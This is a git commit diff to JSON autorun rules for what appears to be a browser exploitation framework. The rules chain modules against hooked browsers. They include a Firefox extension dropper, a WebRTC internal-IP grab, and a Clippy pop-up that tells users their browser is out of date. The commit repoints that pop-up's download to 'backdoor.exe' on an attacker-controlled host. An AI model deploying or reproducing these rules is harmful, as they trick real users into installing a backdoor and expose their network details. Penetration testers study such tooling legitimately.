Cleaned rules.

This commit is contained in:
antisnatchor
2015-07-27 12:31:37 +02:00
parent 3c80da5776
commit b7788d6fe5
5 changed files with 7 additions and 22 deletions

View File

@@ -12,7 +12,7 @@
}, { }, {
"name": "test_return_long_string", "name": "test_return_long_string",
"condition": "status==1", "condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--(DUPA)--';", "code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';",
"options": { "options": {
"repeat": "10", "repeat": "10",
"repeat_string": "<<mod_input>>" "repeat_string": "<<mod_input>>"
@@ -21,7 +21,7 @@
{ {
"name": "alert_dialog", "name": "alert_dialog",
"condition": "status=1", "condition": "status=1",
"code": "var mod_input=test_return_long_string_mod_output + '--(SUTEK)--';", "code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';",
"options":{"text":"<<mod_input>>"} "options":{"text":"<<mod_input>>"}
}, },
{ {

View File

@@ -9,9 +9,9 @@
"name": "firefox_extension_dropper", "name": "firefox_extension_dropper",
"condition": null, "condition": null,
"options": { "options": {
"extension_name": "DownThem All - Download Manager", "extension_name": "Ummeneske",
"xpi_name": "Down-Them-All", "xpi_name": "Ummeneske",
"base_host": "http://127.0.0.1:3000" "base_host": "http://172.16.45.1:3000"
} }
}], }],
"execution_order": [0], "execution_order": [0],

View File

@@ -1,7 +1,7 @@
{"name": "Get Internal IP (WebRTC)", {"name": "Get Internal IP (WebRTC)",
"author": "antisnatchor", "author": "antisnatchor",
"browser": "FF", "browser": "FF",
"browser_version": ">= 30", "browser_version": ">= 31",
"os": "Linux", "os": "Linux",
"os_version": "ALL", "os_version": "ALL",
"modules": [ "modules": [

View File

@@ -19,7 +19,7 @@
"options": { "options": {
"clippydir": "http://clippy.ajbnet.com/1.0.0/", "clippydir": "http://clippy.ajbnet.com/1.0.0/",
"askusertext": "Your browser appears to be out of date. Would you like to upgrade it?", "askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
"executeyes": "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", "executeyes": "http://172.16.45.1:3000/updates/backdoor.exe",
"respawntime":"5000", "respawntime":"5000",
"thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!" "thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
} }

View File

@@ -25,26 +25,11 @@
"options":{"text":"<<mod_input>>"} "options":{"text":"<<mod_input>>"}
}, },
{ {
// this doesn't execute atm as the setInterval call loops infinitely. Add a timeout of X second to continue anyway.
"name": "get_page_html", "name": "get_page_html",
"condition": null, "condition": null,
"options": {} "options": {}
}], }],
"execution_order": [0, 1, 2, 3], "execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0], "execution_delay": [0, 0, 0, 0],
/* chain_mode can be 'sequential' or 'nested-forward':
#
# - sequential chain with delays (setTimeout stuff)
# ex.: setTimeout(module_one(), 0);
# setTimeout(module_two(), 2000);
# setTimeout(module_three(), 3000);
#
# - nested forward chain with status checks (setInterval to wait for command to return from async operations)
# ex.: module_one()
# if result == success
# module_two(module_one_output)
# if result == success
# module_three(module_two_output)
#*/
"chain_mode": "nested-forward" "chain_mode": "nested-forward"
} }